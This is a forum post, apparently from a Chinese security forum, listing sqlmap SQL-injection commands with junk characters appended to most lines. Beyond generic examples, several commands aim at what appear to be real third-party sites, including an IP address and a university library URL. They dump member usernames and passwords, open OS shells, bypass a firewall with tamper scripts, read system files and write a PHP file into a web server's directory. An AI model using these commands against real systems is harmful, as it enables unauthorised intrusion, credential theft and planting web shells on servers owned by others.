找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1883|回复: 0
打印 上一主题 下一主题

sqlmap使用实例

[复制链接]
跳转到指定楼层
楼主
发表于 2017-5-19 17:03:10 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
/pentest/database/sqlmap& {# h( ~! h  s8 y
0 Z( D1 a; G7 X) A
update :::::>     in the folder   after  execute    following   order : svn update
; n8 c* o9 Q+ V5 B4 E  ^$ O  U  u* T8 g" v0 ^% V2 V) E- H2 r
sqlmap.py -r 1.txt --current-db
9 b1 [6 c. P" |- |! H
3 N1 b0 I! s8 M" D" w" Sv 3 –dbms “MySQL” –technique U -p id –batch –tamper “space2morehash.py”5 L5 w6 n( p( t. e5 N) b0 o; e

3 i6 I' e9 c0 n/ `2 G% f' ~3 o==================基本使用方法==========================elect (select concat(0x7e,0x27,username,0x3a,password,0x27,0x7e) from phpcms_member limit 0,1))
. M: g& V1 b. @+ d" _猜解数据库5 z3 p& @: R# O, z" w
./sqlmap.py -u "injection-url" --dbs- q; R6 ~0 @3 }- A; g
sqlmap.py -r 1.txt -v 3 --dbs --tamper "space2morehash.py"
$ G, n: Q& E1 t% L  d1 d* u/ V1 f
: w* ^( l% }% E# A5 ]+ U猜解表名
8 R3 d$ d8 `' m./sqlmap.py -u "injection-url" -D database_name --tables  @# `% N. J2 Z( l1 t: h/ y) A
' n: e0 X# x6 H" _/ O4 K. T
sqlmap.py -r 1.txt -v 1 -D jsst --tables --batch --tamper "space2morehash.py"! F9 l. j+ v2 }
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member_info --columns --batch --tamper "space2morehash.py"
, z( q$ L* D+ k/ E9 {; w+ q% |+ ~, |" _( U, e0 V- L& i
sqlmap.py -r 1.txt -D mail -T F_domain -C F_email,F_password --dump/ d  N) ?5 m( a7 s, ^$ v  c
! [+ _- m% e5 _2 F: j( H3 F" v
sqlmap.py -r 1.txt -v 1 --os-shell --tamper "chardoubleencode.py"9 z/ t) D! g! Q' C, ^
sqlmap.py -r 1.txt -v 3 --os-shell --tamper "chardoubleencode.py"
( D7 _5 ]2 U& ssqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:\Bitnami\wampstack-5.4.29-0\apache2\htdocs\en\fckeditor\help888.php --tamper "chardoubleencode.py"
# T# z4 c9 ~* J7 ^, Isqlmap.py -r 1.txt --dbms "Mysql" --os-shell --tamper "charunicodeencode.py"! {( M9 y0 {  B$ R( K

1 ]! e/ ?" E2 d+ k. Usqlmap.py -u "http://121.15.0.227/en/list.php?catid=74" --os-shell -v3 --tamper "charunicodeencode.py"
1 ?* F3 R8 C, f8 ksqlmap.py -r 1.txt -v 3 --sql-query "desc jsgen_member;" --batch --tamper "space2morehash.py"
: F. o, W: w8 r1 D. |' C4 {( b. V4 r. Csqlmap.py -r 1.txt -v 3 --sql-query "show create table jsgen_member;" --batch --tamper "space2morehash.py"
) g: C( p" E+ E* j: ?. E" ^8 ssqlmap.py -r 1.txt -v 3 --sql-query "select user();" --batch --tamper "space2morehash.py"
, z* z0 ^7 q3 G: Z) [sqlmap.py -r 1.txt -D jsst -T phpcms_member -C username,password --dump1 W+ v6 t" w$ ^  d' Z' R2 @

. x- B2 K$ `3 l# h0 e3 F0 Ysqlmap.py -r 1.txt -v 3 --dbs  --batch --tamper "space2morehash.py" 绕过防火墙了  k) n& T. \( n, c/ Z
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C ,userid,username,password, --dump --batch --tamper "space2morehash.py"
* G* I- w$ K2 w0 `3 T8 z: S9 Q7 z: S( c$ D- i
sqlmap.py -r 1.txt --dbms "Mysql" --tables -D "jsst"* b' ~& n9 U9 m0 b; t1 b
猜解列名
$ v$ K6 J6 R! N% Q, [- S./sqlmap.py -u "injection-url" -D database_name -T table_name --columns
( m# o* L8 @4 R- y9 [2 ~4 L- ?6 u6 Y$ H5 ~
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member --columns --batch --tamper "space2morehash.py" / `: Q6 k% R2 e6 ?( i
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_session --columns --batch --tamper "space2morehash.py"
; h% s. M: x3 o5 L  s2 K+ j; tsqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C userid,groupid,username,password,touserid,point,modelid,email,areaid --dump --batch --tamper "charunicodeencode.py"9 j  O% p5 k/ v& K: {' y

8 t) x) Z/ n' S# Y( q# D( A) C$ U4 qsqlmap.py -u "http://cityusr.lib.cityu.edu.hk/jspui/simple-search?query=1" --batch --tamper "space2morehash.py"
% x; S/ K7 [2 ?: f9 t$ }8 [&submit=Go
0 D* N/ x$ L( l猜解值
  Y# p- H2 _8 I2 Z./sqlmap.py -u "injection-url" -D database_name -T table_name -C column1,column2 --dump3 G1 w: x8 n0 ?8 a% E
========================================================
; s* w2 R" w5 Y; [8 N- N搜索表名中包括mana字符的0 ?( u- b2 G. w0 G3 z  Y8 @, q  _
/sqlmap.py -u "injection-url" -T mana --search* w1 J9 P+ u* U8 `( H- r
返回一个交互式sql shell
: J. r/ F; _2 P1 \/sqlmap.py -u "injection-url" --sql-shell4 i* U* g! P- n0 p1 D
读取指定文件(需权限)
6 U" A9 H  c8 U( _& n, I; Y/sqlmap.py -u "injection-url" --file-read "c:\boot.ini"3 q+ Q1 |  A# D3 I/ R3 R
查看当前 用户 及 数据库
/ e/ g, |9 M% v; l6 R/ v/sqlmap.py -u "injection-url" --current-user --current-db) {) J: F8 K- X4 r, F6 f
本地文件 写入 远程目标绝对路径0 `+ y$ `3 y  |7 \" A
/sqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径
: _) X  {* @/ i! u. I7 rsqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:/Bitnami/wampstack-5.4.29-0/apache2/htdocs/en/fckeditor\help888.php --tamper "charunicodeencode.py" ( E/ |- N" b8 R  V3 c6 B2 P4 K5 k3 B
' W) G, k# ^+ Q9 F2 @2 }2 Z
sqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径( X; l1 i% d3 j6 n% ?2 ~
查看某用的权限/ r$ }' I( o+ A' i
/sqlmap.py -u "injection-url" --privileges -U root
* M' q+ z& O+ R$ n$ A  m! ?7 y查看当前用户是否为dba
% t; d! v# C, a3 p8 |* l/sqlmap.py -u "injection-url" --is-dba
' [/ M% y* |. {+ \& S( q读取所有数据库用户或指定数据库用户的密码; m" S5 I" ^3 @5 z# {) y
sqlmap.py -r 1.txt --users --passwords
! M, |( y$ A5 {) Jsqlmap.py -r 1.txt -v 3 --users --passwords --batch --tamper "space2morehash.py" ) |& z0 ]- O1 I& C

6 _% W7 R! f* K/ T& R2 B8 x/sqlmap.py -u "injection-url" --passwords -U root+ [+ Q4 V" S7 h2 }

4 U  y8 w4 M2 \7 h9 F--start&&--stop 与 --first&&--last 的区别
7 n8 J) T* R8 A2 P( x" z/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D phpcms -T phpcms_member --start=1 --stop=2 --dump   (--start=1 --stop=2 会列出第二条记录。。。。记录例如:0 1 2 3 ……)" d* n1 C" Y$ D
. ]- ~2 `9 E" {, B6 h
从字典中查找(属于暴利破解)存在的表(sqlmap/txt/common-tables.txt)或字段(sqlmap/txt/common-columns.txt)
" a/ x$ X" C& C8 X' m! r/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name --common-tables, R4 }, e7 X* c; y5 o
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name -T table_name --common-columns& s0 e6 M3 j: B( }( r2 z: F! f# X& `

: ]. G# ^+ Z) ?& D6 r) C; {执行sql语句,如查询@@datadir得到数据库路径(或者user()/database()等等……)
% w/ m2 s0 u1 S* F/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" --sql-query "select @@ip"/ ^$ t8 W8 s7 a7 e; f
1 b1 {/ j- ?7 z' o5 D* e
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表